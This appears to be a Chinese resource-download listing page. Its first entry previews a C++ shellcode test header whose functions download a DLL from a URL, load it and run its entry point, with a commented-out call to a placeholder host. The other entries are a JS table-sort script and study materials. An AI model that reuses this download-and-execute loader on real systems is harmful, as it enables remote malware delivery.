• ShellCodeUtil_Test bin

    /***************************************************************** 文件名 : ShellCodeMainTest.hpp 描述 : 作者 : liqi09 最后修改日期 : 2015-05-13 16:17 修改人 : 最后修改日期 : 修改描述 : Copyright (C) All Rights Reserved *****************************************************************/ #ifndef __SHELLCODEMAINTEST_HPP__ #define __SHELLCODEMAINTEST_HPP__ #include "Extend/ShellCodeApiDefine.h" #include "Extend/asyc.h" void FunctionTest() { char szBuffer[20]; strcpy(szBuffer, S("CopyBuffer")); Trace(szBuffer); Trace(S("%s"), S("Trace init ok!")); Trace(S("wsprintfA EatAddr:%p ProcAddr:%p"), EatAddr("user32", "wsprintfA"), ProcAddr("user32", "wsprintfA")); MsvcrtCall(printf, S("%s"), S("printf init ok!\n")); MsvcrtCall(printf, S("cmdline:%s\n"), Fun("kernel32", GetCommandLineA)()); Kernel32Call(WinExec, S("notepad.exe"), SW_SHOW); MsvcrtCall(system, S("pause")); } class CClassTest { public: CClassTest(){ Trace(S("CTest")); } ~CClassTest(){ Trace(S("~CTest")); } void Function1(){ Trace(S("Function1")); } }; BOOL LoadUrlDll(PCHAR url, PCHAR proc) { char szFile[MAX_PATH]; BOOL bOk = FALSE; HRESULT hRes = URLDownloadToCacheFileA(NULL, url, (LPTSTR)szFile, MAX_PATH, NULL, NULL); if (hRes == S_OK) { Trace(S("download ok! %s"), szFile); HMODULE hModule = LoadLibraryA(szFile); if (hModule) { FARPROC Entry = GetProcAddress(hModule, proc); if (Entry) { Entry(); bOk = TRUE; } FreeLibrary(hModule); } } return bOk; } BOOL LoadUrlDllAsyc(PCHAR url, PCHAR proc) { char szFile[MAX_PATH]; BOOL bOk = FALSE; HRESULT hRes = URLDownloadToCacheFileA(NULL, url, (LPTSTR)szFile, MAX_PATH, NULL, NULL); if (hRes == S_OK) { Trace(S("download ok! %s"), szFile); HMODULE hModule = AsycLoadLibrary(szFile, TRUE, NULL); if (hModule) { FARPROC Entry = AsycGetProcAddress(hModule, proc); if (Entry) { Entry(); bOk = TRUE; } AsycFreeLibrary(hModule, TRUE); } } return bOk; } void ShellCodeMain() { CClassTest t; t.Function1(); FunctionTest(); //下载dll并内存加载,太过邪恶,先注掉。。 //LoadUrlDllAsyc(S("http://xxx.com.cn/test/TestDll.dll"), S("Entry")); } #endif // __SHELLCODEMAINTEST_HPP__

    0
    76
    72KB
    2015-06-16
    9
  • html table表单排序bydarkst_sort.js

    项目需要html表格有排序的功能,网上找了好多都不合适,而且用起来很麻烦,要加各种id, onclik,colum_index之类的,甚是麻烦,不就排个序嘛,还得话花时间学习怎么用你的js,学完发现还是有BUG.. 于是自己写了一个,50行代码左右,自己用的爽歪歪,支持chorme,ie其他的没环境测试。如有发现BUG请告知,谢谢! /************************************************************************************************** JS排序表格,您只需要在原本的html中添加一句 <script language="javascript" src="bydarkst_sort.js"></script> Auteror: BYDARKST mailto: bydarkst@163.com 始终坚持用最简单的思路,最简洁的写法,打造效率更高,易用性更高的软件! ****************************************************************************************************/ //一句话调用,自动搜索所有table的所有列可排序,支持日期,支持<thead> <tbody>存在或不存在 window.onload = function(){RegisterAllTableSort(-1);} //接口1:设置id 为tableid的表格第 col 列可排序,col为-1时自动选取所有列 function RegisterTableSortById(tableid, col){ RegisterTableSort(document.getElementById(tableid), col) } //接口2:自动设置所有table的 col 列可排序 function RegisterAllTableSort(col){ var tableNodes = document.getElementsByTagName("table"); for(var i=0; i<tableNodes.length; i++) RegisterTableSort(tableNodes[i], col); } //接口3:立即对 tableid 的col 列进行排序 function SortTableNow(tableid, col){ SortTableByCol(document.getElementById(tableid), col); }

    0
    138
    2KB
    2014-03-07
    9
  • Go+学习笔记 超清版

    很难得的GO语言知识点分析文档,超级详细,本人是在走路的过程中读完第一遍的,吸引力堪比C++中的《windows核心编程》。 从基本类型到高级特性到源码分析,值得反复阅读借鉴。 只能说 it's professional, really very very good!

    5
    98
    1.73MB
    2014-01-08
    16
  • 软件质量保证与测试 1-7章节PDF

    包含 软件质量保证与测试 1-7章节PDF ,可打印出来学习,考试必备

    0
    2519
    30.39MB
    2012-03-16
    43
  • 软件质量保证与测试 8-15章节PDF

    包含 软件质量保证与测试 8-15章节PDF,方便打印出来学习,考试必备

    4
    338
    34.86MB
    2012-03-16
    46
  • 软件质量保证与测试 复习提纲以及大题知识点巩固

    一些经典的单元练习题,等价类划分,因果图,功能点技术详细讲解

    4
    485
    2.05MB
    2012-03-16
    35
  • 软件质量保证与测试 考试宝典之PDF打印

    软件质量保证与测试PDF参考文档,可打印出来考前复习,知识点罗列齐全,效果不错

    5
    197
    2.99MB
    2012-03-16
    17
  • 达内 -JSP java系列

    达内开发笔记,达内培训机构java培训班教程 达内开发笔记,达内培训机构java培训班教程 达内开发笔记,达内培训机构java培训班教程

    2
    28
    191KB
    2011-04-23
    4
  • 达内-JDBC java系列

    达内开发笔记,达内培训机构java培训班教程 达内开发笔记,达内培训机构java培训班教程 达内开发笔记,达内培训机构java培训班教程

    0
    78
    169KB
    2011-04-23
    2
  • 达内-HTML教程 笔记

    达内开发笔记,达内培训机构java培训班教程 达内开发笔记,达内培训机构java培训班教程 达内开发笔记,达内培训机构java培训班教程

    0
    69
    106KB
    2011-04-23
    3
  • 持续创作

    授予每个自然月内发布4篇或4篇以上原创或翻译IT博文的用户。不积跬步无以至千里,不积小流无以成江海,程序人生的精彩需要坚持不懈地积累!
关注 私信
上传资源赚积分or赚钱